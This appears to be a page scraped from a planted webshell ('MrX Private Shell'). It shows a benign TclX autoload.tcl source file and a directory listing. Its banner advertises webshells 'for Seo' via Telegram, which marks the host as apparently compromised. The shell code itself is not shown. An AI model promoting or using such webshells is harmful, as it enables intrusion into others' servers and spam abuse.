__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#
# Modified version of the standard Tcl auto_load_index proc that calls a TclX
# command load TclX .tndx library indices.
#
# $Id: autoload.tcl,v 1.2 2002/04/02 03:00:14 hobbs Exp $
# from Tcl: init.tcl,v 1.1.2.4 1998/12/02 20:08:05 welch Exp
#
# init.tcl --
#
# Default system startup file for Tcl-based applications. Defines
# "unknown" procedure and auto-load facilities.
#
# Copyright (c) 1991-1993 The Regents of the University of California.
# Copyright (c) 1994-1996 Sun Microsystems, Inc.
#
# See the file "license.terms" for information on usage and redistribution
# of this file, and for a DISCLAIMER OF ALL WARRANTIES.
#
# auto_load_index --
# Loads the contents of tclIndex files on the auto_path directory
# list. This is usually invoked within auto_load to load the index
# of available commands. Returns 1 if the index is loaded, and 0 if
# the index is already loaded and up to date.
#
# Arguments:
# None.
proc auto_load_index {} {
global auto_index auto_oldpath auto_path errorInfo errorCode
if {[info exists auto_oldpath] && ($auto_oldpath == $auto_path)} {
return 0
}
set auto_oldpath $auto_path
# Check if we are a safe interpreter. In that case, we support only
# newer format tclIndex files.
set issafe [interp issafe]
for {set i [expr {[llength $auto_path] - 1}]} {$i >= 0} {incr i -1} {
set dir [lindex $auto_path $i]
tclx_load_tndxs $dir
set f ""
if {$issafe} {
catch {source [file join $dir tclIndex]}
} elseif {[catch {set f [open [file join $dir tclIndex]]}]} {
continue
} else {
set error [catch {
set id [gets $f]
if {$id == "# Tcl autoload index file, version 2.0"} {
eval [read $f]
} elseif {$id == \
"# Tcl autoload index file: each line identifies a Tcl"} {
while {[gets $f line] >= 0} {
if {([string index $line 0] == "#")
|| ([llength $line] != 2)} {
continue
}
set name [lindex $line 0]
set auto_index($name) \
"source [file join $dir [lindex $line 1]]"
}
} else {
error \
"[file join $dir tclIndex] isn't a proper Tcl index file"
}
} msg]
if {[string compare $f ""]} {
close $f
}
if {$error} {
error $msg $errorInfo $errorCode
}
}
}
return 1
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| arrayprocs.tcl | File | 1.6 KB | 0644 |
|
| autoload.tcl | File | 2.22 KB | 0644 |
|
| buildhelp.tcl | File | 15.61 KB | 0644 |
|
| compat.tcl | File | 9.8 KB | 0644 |
|
| convlib.tcl | File | 3.86 KB | 0644 |
|
| edprocs.tcl | File | 1.95 KB | 0644 |
|
| events.tcl | File | 1.03 KB | 0644 |
|
| fmath.tcl | File | 2.19 KB | 0644 |
|
| forfile.tcl | File | 1.4 KB | 0644 |
|
| globrecur.tcl | File | 3.11 KB | 0644 |
|
| help.tcl | File | 10.36 KB | 0644 |
|
| libtclx8.4.so | File | 155.52 KB | 0755 |
|
| pkgIndex.tcl | File | 77 B | 0644 |
|
| profrep.tcl | File | 5.1 KB | 0644 |
|
| pushd.tcl | File | 1.83 KB | 0644 |
|
| setfuncs.tcl | File | 2.92 KB | 0644 |
|
| showproc.tcl | File | 1.46 KB | 0644 |
|
| stringfile.tcl | File | 1.38 KB | 0644 |
|
| tcllib.tcl | File | 4.32 KB | 0644 |
|
| tclx.tcl | File | 2.05 KB | 0644 |
|